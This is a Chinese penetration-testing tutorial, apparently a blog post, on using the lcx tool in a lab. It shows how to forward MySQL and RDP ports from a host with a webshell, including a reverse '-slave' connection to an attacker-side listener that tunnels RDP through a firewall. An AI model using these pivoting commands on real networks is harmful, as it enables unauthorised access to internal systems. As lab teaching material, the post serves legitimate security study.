lcx端口转发

lcx端口转发：

本文主要通过讲解lcx的本地端口及远程端口转发，让能熟练使用lcx端口转发工具，对端口转发知识有更加深入了解，本次实验靶场来源于暗月(moonsec)师傅,本文内容全由本人通过学习理解编制，文中若有错处，大佬勿喷，个人学艺不精；所以想学习更多的渗透知识请找暗月师傅。

描述：

lcx是一款强大的内网端口转发工具，用于将内网主机开放的内部端口映射到外网主机（有公网IP）任意端口。它是一款命令行工具，当然也可以在有权限的webshell下执行，正因如此lcx常被认为是一款黑客入侵工具，lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个
回路。它常用于外网连接内网3389端口。

lcx命令：
     -listen  #远程端口转发使用，在客户端开启
     -tran    #主要用于本地端口转发使用
     -slave   #远程端口转发使用，在服务端开启

本地端口转发：

这里可以看出3306端口只能在本地运行，所以需要通过-tran 将本地的端口进行转发。

我们将本地3306端口通过3307转发出来，这样当我们知道了Mysql密码后，就可以进行连接

在webshell上面运行lcx:

 lcx.exe -tran 3307 127.0.0.1 3306

本地查看3307端口是否开启：

kali通过远程连接3307端口访问到了192.168.1.7的3306端口：

远程端口转发：

通过本地的51端口来转发远程的3389端口：
为测试效果真实，已将防火墙打开，并将远程端口3389进行限制：

可以看出已经无法连接：

第一种场景：

服务端主动连接 客户端2333端口
本地访问127.0.0.1:51端口即可访问服务端上3389端口
首先在本地开启：

lcx -listen 51 2333

在webshell上运行：

lcx.exe -slave 192.168.1.5 2333 127.0.0.1 3389

此数据是通过服务端主动连接客户端，这样是可以直接穿透防火墙。

第二种场景：

就是让攻击者能够访问，那只需要攻击者的IP能够访问客户端即可。 就例如 客户端是一个公网的VPS，将VPS的上的51端口放出来，让攻击者可以访问；在攻击者电脑上，远程连接192.168.1.5:51 即可。

个人理解总结:

1、假设192.168.45.128是攻击者，192.168.1.7就是被获取了webshell的地址 现在只有192.168.1.5也就是客户端可以进行访问，但攻击者不能；
2、我们在客户端上开启端口转发，-listen 51 2333（将本地的51端口，转发至2333端口）；
3、然后在被获取webshell的地址上,主动去连接2333端口 -slave 192.168.1.5 2333 127.0.0.1 3389(主动用2333连接本地3389) ；
4、我们的客户端就可以通过127.0.0.1:51端口去远程访问192.168.1.7上面的3389端口；
5、如果我们的攻击者能够访问到客户端的51端口，那么同样他也可以通过192.168.1.5：51这样去连接192.168.1.7上面的3389；
6、这样就通过端口转发建立了一条隧道，让本不互通的内网的攻击者同样可以访问到受害者内网。